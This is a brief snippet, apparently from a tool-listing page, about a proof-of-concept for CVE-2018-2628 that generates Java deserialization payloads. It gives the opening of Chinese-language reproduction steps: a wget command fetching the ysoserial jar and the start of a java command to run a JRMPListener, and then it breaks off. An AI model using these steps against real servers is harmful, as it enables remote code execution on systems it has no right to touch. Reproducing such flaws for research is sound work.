CVE-2018-2628

CVE-2018-2628 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. CVE-2018-2628漏洞复现详细步骤： 0x01 在JRMPListener主机上运行以下命令： root@kitploit: wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar java -cp ysoserial.jar...